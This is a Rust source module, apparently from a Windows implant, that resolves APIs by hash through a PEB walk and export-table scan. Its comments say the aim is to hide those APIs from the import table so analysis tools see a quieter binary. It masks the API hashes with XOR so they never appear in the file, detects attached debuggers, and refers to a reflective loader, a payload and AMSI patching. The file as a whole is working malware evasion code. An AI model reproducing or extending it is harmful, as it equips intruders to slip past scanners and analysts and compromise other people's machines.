//! Runtime API resolution by hash — no import table entry needed. //! //! Many analysis tools triage an implant by its static import table. This module //! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB //! module list and scanning export names with a rotating hash, exactly like the //! reflective loader does. The guard never needs those APIs to appear in its //! imports, so a scanner sees a much quieter PE. //! //! This is intentionally additive: the payload *already* worked via its normal //! import table (fixed up by the reflective loader). For the guard, resolving a //! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them. use core::ffi::c_void; use core::ptr; use crate::abi; #[inline(always)] fn ror1(v: u32) -> u32 { v.wrapping_shr(1) | v.wrapping_shl(31) } unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 { let mut h: u32 = 0; let mut i = 0; while i < nchars { let c = ptr::read_volatile((ptr + i * 2) as *const u16); h = ror1(h); if (0x61..=0x7A).contains(&c) { h = h.wrapping_add((c - 0x20) as u32); } else { h = h.wrapping_add(c as u32); } i += 1; } h } unsafe fn hash_ascii(ptr: usize) -> u32 { let mut h: u32 = 0; let mut i = 0; loop { let c = ptr::read_volatile((ptr + i) as *const u8) as u32; if c == 0 { return h; } h = ror1(h); if (0x61..=0x7A).contains(&c) { h = h.wrapping_add(c - 0x20); } else { h = h.wrapping_add(c); } i += 1; } } /// Find a module base by its base-name rotating hash. unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize { let ldr = ptr::read_volatile((peb + 0x18) as *const usize); if ldr == 0 { return 0; } let head = ptr::read_volatile((ldr + 0x20) as *const usize); if head == 0 { return 0; } let mut cur = head; loop { if cur == 0 { return 0; } let entry = cur.wrapping_sub(0x10); let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize; if name_len > 0 { let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize); if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want { return ptr::read_volatile((entry + 0x30) as *const usize); } } let next = ptr::read_volatile((entry + 0x10) as *const usize); if next == head || next == cur { break; } cur = next; } 0 } /// Resolve an export of `base` by its ror-hashed name. unsafe fn export_by_hash(base: usize, want: u32) -> usize { let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize; let dd = base + lfanew + 4 + 20 + 112; let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize; if ed_rva == 0 { return 0; } let ed = base + ed_rva; let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize; let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize; let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize; let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize; if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 { return 0; } for i in 0..num_names { let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize; if hash_ascii(base + name_rva) == want { let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize; let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize; if fn_rva != 0 { return base + fn_rva; } return 0; } } 0 } unsafe fn peb_pointer() -> usize { let peb: usize; core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); peb } /// Public PEB pointer accessor (used by antihook's IAT walk). pub unsafe fn peb_ptr() -> usize { peb_pointer() } // API-hash constants stored XORed with HASH_KEY so raw ror-hashes never // appear in the binary. `r()` unmasks at runtime (black_box blocks the // optimizer from folding the XOR back to the plain value). const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; #[inline(always)] fn r(h: u32) -> u32 { h ^ core::hint::black_box(HASH_KEY) } const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY; const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY; const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY; const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY; type CheckRemoteDebuggerFn = unsafe extern "system" fn(process: usize, present: *mut i32) -> i32; /// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0. pub unsafe fn check_remote_debugger() -> usize { let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32)); if k32 == 0 { return 0; } export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT)) } /// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present. pub unsafe fn dyn_check_remote_debugger() -> bool { let raw = check_remote_debugger(); if raw == 0 { return false; } let f: CheckRemoteDebuggerFn = core::mem::transmute(raw); let mut present: i32 = 0; f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0 } /// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0. pub unsafe fn nt_query_information_process() -> usize { let peb = peb_pointer(); let ntdll = module_base_by_hash(peb, r(HASH_NTDLL)); if ntdll == 0 { return 0; } export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS)) } /// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0. pub unsafe fn virtual_protect() -> usize { let peb = peb_pointer(); let k32 = module_base_by_hash(peb, r(HASH_KERNEL32)); if k32 == 0 { return 0; } export_by_hash(k32, r(HASH_VIRTUALPROTECT)) } /// ntdll module base, resolved by hash. pub unsafe fn ntdll_base() -> usize { module_base_by_hash(peb_pointer(), r(HASH_NTDLL)) } /// Resolve any loaded module's base by its wide base-name hash /// (used for e.g. amsi.dll during AMSI patching). pub unsafe fn module_base_by_name_hash(want: u32) -> usize { module_base_by_hash(peb_pointer(), want) } /// Public wrapper to resolve an ntdll export by its ror hash (used by antihook). pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize { export_by_hash(base, want) } /// A resolved dynamic NT API handle (opaque pointer + castable fn). type NtQueryFn = unsafe extern "system" fn( process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32, ) -> i32; type VirtualProtectFn = unsafe extern "system" fn( addr: *mut c_void, size: usize, prot: u32, old: *mut u32, ) -> i32; /// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically /// resolved pointer. Used by the guard to avoid importing it. pub unsafe fn dyn_query_debug_flags() -> Option { let raw = nt_query_information_process(); if raw == 0 { return None; } let f: NtQueryFn = core::mem::transmute(raw); let mut flags: u32 = 0; let st = f( abi::GetCurrentProcess(), 0x1f, &mut flags as *mut u32 as *mut c_void, core::mem::size_of::() as u32, ptr::null_mut(), ); if st == 0 { Some(flags) } else { None } } /// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns /// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger /// is attached), None on failure/no debugger. pub unsafe fn dyn_query_debug_port() -> bool { let raw = nt_query_information_process(); if raw == 0 { return false; } let f: NtQueryFn = core::mem::transmute(raw); let mut port: *mut c_void = ptr::null_mut(); let st = f( abi::GetCurrentProcess(), 7, &mut port as *mut *mut c_void as *mut c_void, core::mem::size_of::<*mut c_void>() as u32, ptr::null_mut(), ); st == 0 && !port.is_null() } /// Dynamically downgrade an RWX region using the resolved VirtualProtect. pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool { let raw = virtual_protect(); if raw == 0 { return false; } let f: VirtualProtectFn = core::mem::transmute(raw); let mut old: u32 = 0; f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0 }